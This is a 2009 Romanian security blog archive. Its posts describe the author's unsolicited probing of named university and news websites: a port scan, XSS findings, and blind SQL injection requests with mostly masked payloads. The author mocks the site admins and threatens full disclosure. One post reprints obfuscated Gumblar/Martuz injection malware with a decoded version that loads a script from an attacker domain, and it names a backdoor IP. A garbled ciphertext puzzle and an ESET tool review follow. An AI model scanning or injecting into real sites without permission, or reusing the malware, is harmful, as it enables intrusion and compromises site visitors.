mai 2009


Va promiteam aici un articol ceva mai detaliat despre cum functioneaza partea online a prestigioasei “Academii de Studii Economice” din republica Moldova…

alt xss

Hai sa vedem cateva dintre problemele pe care le are platforma (joomla- usor modificata) folosita de fratii nostri de peste Prut:

  • Prea multe porturi deschise si necapate:
  1. 22- ssh – open – banner: SSH-2.0- OpenSSH_4.7p1 Debian-8ubuntu1.2 – cunoscut cu destule vulnerabilitati…
  2. 21 – ftp – open
  3. 25- smtp – open – banner: ase.md ESMTP Postfix
  4. 53 – domain – open
  5. 80 – http- open – folosind variante invechite de Apache si PHP
  6. 110 – pop3 – open
  7. 143 – imap – open
  8. 443 – https – open – folosind variante inchevite de SSL
  9. 10000 – snet-sensor-mgmt
  • SSH-ul, dupa cum spuneam este depasit. Server key fingerprint: b160672a5b6257989a9be64621f76275. Algoritmul de SSH client-server este in AES de 128. HMAC-ul este un SHA de 256. Certificatul utilizeaza un RSA cu MD2 digest.
  • Cross site scripting in index.php, news.php si search.php, cel mai afectat fiind ultimul – search.php, unde am incercat 24 devariante, toate cu succes…
  • Proxy-ul accepta requesturile de CONNECT
  • mod_ssl din Apache vulnerabil la Binary Stack Buffer Overflow
  • Se pot manipula cookie-urile in search.php, care de altfel se pare ca este cel mai vulnerabil script de pe site
  • TRACE Method Enable – afecteaza doar serverul de web

Sa nu mai vorbim si de transmiterea in text clar a datelor utilizatorilor, care afecteaza aproape toate fisierele php active.

Parametrul vulnerabil din index.php este retornto de tip POST.

In news.php exista vaiabil page, de tip GET, pe care au fost incercate diferite combinatii. Vulnerabil la marea majoritate…

Search.php are un parametru POST numit q si implementat absolut iresponsabil. E greu sa gasesti o combinatie de cod care sa nu dea rezultate….

Daca as incepe sa scriu toate variantele de cod pe care le-am incercat si au functionat, probabil ar fi cel mai lung post scris vreodata pe un blog… Asa ca ma opresc aici ,cu speranta ca fratii nostri de peste Prut vor incerca sa remedieze cat mai repede problemele pe care le au…

xss Politia Romana

I-am avertizat acum 2 zile… Sper ca au rezolvat-o. Oricum, un mic multumesc nu strica imaginea nimanui…

de la neworkworld.ro

Descoperind astazi ca exista in internetul romanesc si un “Filtru tematic al blogosferei“, lucru de apreciat daca ar exista si posibilitatea de a afla ce algoritm folosesc baietii pentru a agrega blogurile, am ajuns, din link in link,  sa citesc un articolas interesant despre JSRedir-R pe site-ul celor de la networkworld. Informatiile sunt relativ OK, cu mici ajustari si precizari:

  • Site-ul Gumblar.cn este inactiv de ceva vreme…din motive de baieti buni
  • Noul redirect se face catre site-ul Martuz.cn
  • Scripul buclucas arata cam asa:(function(){var G33z1='%';var KlKj='va-72-20a-3d-22-53c-72i-70t-45n-67-69ne-22-2cb-3d-22-56-65-72-73-69o-6e(-29+-22-2cj-3d-22-22-2c-75-3d-6eavigato-72-2eus-65-72-41-67ent-3bi-66-28-28u-2e-69ndexOf(-22Chrome-22-29-3c0-29-26-26(u-2e-69ndexOf(-22W-69n-22-29-3e0)-26-26-28u-2ein-64e-78Of(-22-4eT-206-22)-3c0)-26-26(d-6fcument-2ecookie-2e-69-6edex-4ff-28-22-6die-6b-3d1-22)-3c-30)-26-26(type-6ff-28z-72vzts)-21-3dty-70e-6ff(-22A-22)-29)-7bz-72v-7ats-3d-22-41-22-3beval(-22if(window-2e-22-2b-61+-22)j-3dj+-22+a-2b-22Majo-72-22-2bb+a-2b-22Mi-6eo-72-22-2bb+a+-22-42uild-22+b+-22-6a-3b-22)-3bdoc-75m-65nt-2e-77rite(-22-3c-73-63ri-70-74-20src-3d-2f-2fm-61rtu-22+-22z-2ec-6e-2f-76id-2f-3fid-3d-22+j+-22-3e-3c-5c-2fs-63ri-70-74-3e-22)-3b-7d';var m8nw=KlKj.replace(/-/g,G33z1);e val(unescape(m8nw))})();
  • Dupa cum observati scriptul e codat, dar versiunea in clar arata cam asa: var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;
    if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){
    zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
    document.w rite("<script src=//martu"+"z.cn/vid/?id="+j+"><\/script>");}
  • Martuz.cn e concatenat in diverse variante ca cea de mai sus “martu”+”z.cn”, asa ca aveti grija cum il cautati in coduri
  • Teoretic, utilizatorii de Google Chrome sunt primii care afla daca o pagina este sau nu infectata, datorita functiilor implementate in browser, dar nu va bazati pe asta…
  • Din cand in cand mai instaleaza si un backdoor care se conecteaza la IP-ul 78 .109 .29 .112… N-ar fi rau sa-l blocati din firewall

Nu-i chiar asa de greu sa te documentezi, nu?

…nu puteam sa-i las in pace pe fratii de peste Prut, asa ca m-am jucat putin cu pagina ASE-ului din Republica Moldova. Un mic preview din ceea ce va fi maine un articol mai detaliat:

xss ase.md

Si ca sa nu va las cu ochii in soare, va dau si cateva detalii despre ce veti citi maine :

- proxy-ul accepta requesturile de CONNECT

- XSS in toate partile

- Apache-ul vulnerabil la Binary Stack Overflow (Mod SSL)

- Tot Apache-ul vulnerabil Function Format String

- Manipulare de Cookies

- Datele utilizatorilor trimise in text clar

etc…

Chiar sunt curios cat o sa le ia baietilor buni sa faca site-ul varza!!!

Nu de alta, dar adminii n-au fost in stare nici sa zica un multumesc… M-au luat la suturi ca, cica, fac ceva ilegal!!! Hai nu zau… Ilegal era daca va transformam site-ul in pagina porno, nu daca va avertizez ca prostia nu doare, da-i letala!!!!!!

…sau cum stiu ei sa securizeze aplicatiile web…

Prima dintre ele, ASE, importanta de altfel in peisajul invatamantului romanesc, beneficiaza de o frumusete de XSS:

ASE - XSS 1

ASE - XSS 1

Hai sa mai punem o poza, ca asa-i frumos:

ASE - XSS 2

ASE - XSS 2

Mai aveam putin si le scriam poezii…

Dar, ma rog, nu e chiar atat de grav.

Mai grav e in cazul upb.ro (Universitatea Politehnica Bucuresti) cea care formeaza viitorii specialisti in calculatoare (printre alte specializari) si unde avem un Blind SQL Injection de toata frumusetea.

Fiind vorba despre o Universitate pe care o respect, nu dau multe amanunte… doar ca exista un fisier translator.php cu 3 parametri nesanitizati corespunzator.

Cei trei sunt, in ordine crescatoare: id1, id2…si, cum altfel, id3 :)

Daca nu se rezolva, peste o saptamana facem full disclosure

Update : ASE-ul a raspuns repede, si, bine crescuti, mi-au multumit pentru avertizare… UPB e inca in silentium stampa :)

Daca saptamana trecuta imaginatia debordanta a celor de la GSP ne delecta cu un hack simulat, iata ca baietii merg mai departe cu imaginatia si ne ofera si alte detalii picante :

Presupunem ca avem 3 parametri :section, search[text] si curent_c3, toti 3 in sectiunea cautare de pe site-ul gsp.ro

I-a ghiciti voi la ce sunt vulnerabili cei 3 muschetari? Ati ghicit… la blind sql injection… Nu dam amanunte, pentru ca inca nu avem motive.. si apoi… ce s-ar face sportul romanesc fara gsp? :)

Totusi, pentru ca ne plac picanteriile, hai sa vedem request-ul raspunsul header-ului  in cele 3 cazuri:

Parametru : section (GET)

Header request:

GET http://www.gsp.ro/?section=cautare'+*****+'********&limba=rom&search[text]=********* HTTP/1.1
Host: www.gsp.ro
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: POPUPCHECK=1242387861723;PHPSESSID=8376e9f5e950cab16a992de62207a5e1;cresist=592FF71F00000050;curent_c2=2;curent=1;curent_c3=1

Raspunsul:

HTTP/1.1 200 OK
Transfer-Encoding: chunked
Vary: User-Agent, Accept, Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
Content-Type: text/html
Date: Tue, 19 May 2009 09:48:31 GMT
Server: DigitalIT HTTPD 2.02
Via: CN-5000
Connection: Keep-Alive

Parametru :search[text] (GET)

Request header:

GET http://www.gsp.ro/?section=cautare&limba=rom&********=*****'****'******* HTTP/1.1
Host: www.gsp.ro
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: POPUPCHECK=1242387861723;PHPSESSID=8376e9f5e950cab16a992de62207a5e1;cresist=592FF71F00000050;curent_c2=2;curent=1;curent_c3=1

´Raspunsul header-ului:

HTTP/1.1 200 OK
Transfer-Encoding: chunked
Vary: User-Agent, Accept, Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
Content-Type: text/html
Date: Tue, 19 May 2009 09:49:09 GMT
Server: DigitalIT HTTPD 2.02
Via: CN-5000
Connection: Keep-Alive

Ultimul parametru : curent_c3  (cookie)

Request header:

GET http://www.gsp.ro/?section=********=********* HTTP/1.1
Host: www.gsp.ro
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: POPUPCHECK=1242387861723;PHPSESSID=8376e9f5e950cab16a992de62207a5e1;cresist=592FF71F00000050;curent_c2=2;curent=1;curent_c3=1+and+1%3D0

Raspunsul header-ului:

HTTP/1.1 200 OK
Transfer-Encoding: chunked
Vary: User-Agent, Accept, Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
Content-Type: text/html
Date: Tue, 19 May 2009 09:51:17 GMT
Server: DigitalIT HTTPD 2.02
Via: CN-5000
Connection: Keep-Alive

Acum…dupa o asemenea conversatie cu serverul gps, mai am un singur dor:

…in linistea serii… sa-i intreb pe baietii de la gps.ro, daca mai au si alta calificare, exceptand-o pe cea de admin… poate vor avea nevoi intr-o buna zi…

Deocamdata, din motive evidente, nu facem full disclosure, dar nu se stie niciodata…:)

ç}h™{Ð7ý†/†Ç2ïZa˜2l@Á¤ñc¨Ó—ëg¦ S™2€P\[ûé†!œj)wõ4ˆD:™šîcê¬^VAíåë¡–8Öx?yºåVÅ0#“”¤w2ÊñïŒFÜ2¯L¥Ë%üYPŸ-ˆÕâ9?h1Å6ƒü^å,yEó›—fÙõq’&֝cµÂm„(4y¦¥28IB?~2F¸ØG‡t0$Ð    ²¤´K°EúŽ+u™uKý©0õ¶µ›&ºòº:ÅLpõ'×G^ÆÓer”W [wÊòN³;Aª¾Ë:¸çvì [­á•%™ íë!Iä·è‚ˆÒÍòIÞc»KcԐ¤D²Hg¯÷‹.„/Ôÿí¬åg>‡”SÞHú°‘Kàëwâçhеc5ÃTSþ½ý­FrÂ7xcÈf#H,6g‚ænYzÜ(j1ŒÐû¼Îð3]Z®WU,/û½Z{? ĵaîo×ÍïðÃLßìÞçÎwfð{nËô´Å.Ú÷ªÛÖ-’lÕ_ñ¬ÔnX

Cum am vazut ca sunt multi specialisti in criptografie, adevarate genii in matematica si calculatoare, le propun un mic test… se ia textul de mai sus, si se incearca decriptarea lui. Va spun doar ca e simplu…algoritm banal, parola la mintea cocosului iar textul e supercunoscut…

Succes!

Desi intentia mea nu era nici pe departe de a prezenta programe care sa faca viata mai usoara adminilor de sisteme si retele, consider totusi ca exista anumite soft-uri care merita atentia noastra.

Unul dintre ele este  ESET SysInspector. Relativ mic, gratuit, si mai ales util celor care au in cadrul retelelor(sau acasa) un sistem bazat pe windows.

Ce face respectivul soft? Nimic mai putin decat auditarea unui sistem windows xp/2003/vista, avertizand utilizatorii si adminii despre eventualele probleme de securitate. ESET SysInspector face o analiza a registrilor, conexiunilor de retea, driverelor si serviciilor, avertizand utilizatorul pe baza unor modele stocate intr-o baza de date. In plus, capacitatea de analiza ii da posibilitatea descoperirii inclusiv a obiectelor ascunse, gen rootkits.

Dar, atentie, nu le elimina. Doar ofera o serie de piste care sa ajute utilizatorul in remedierea problemelor:

eset

…dupa cateva saptamani in care nu stiam daca merita sau nu sa imi investesc timpul in blog, iata ca revin, si, mai ales, sper ca pauzele sa fie cat mai mici si mai putin vizibile…

Bine v-am regasit!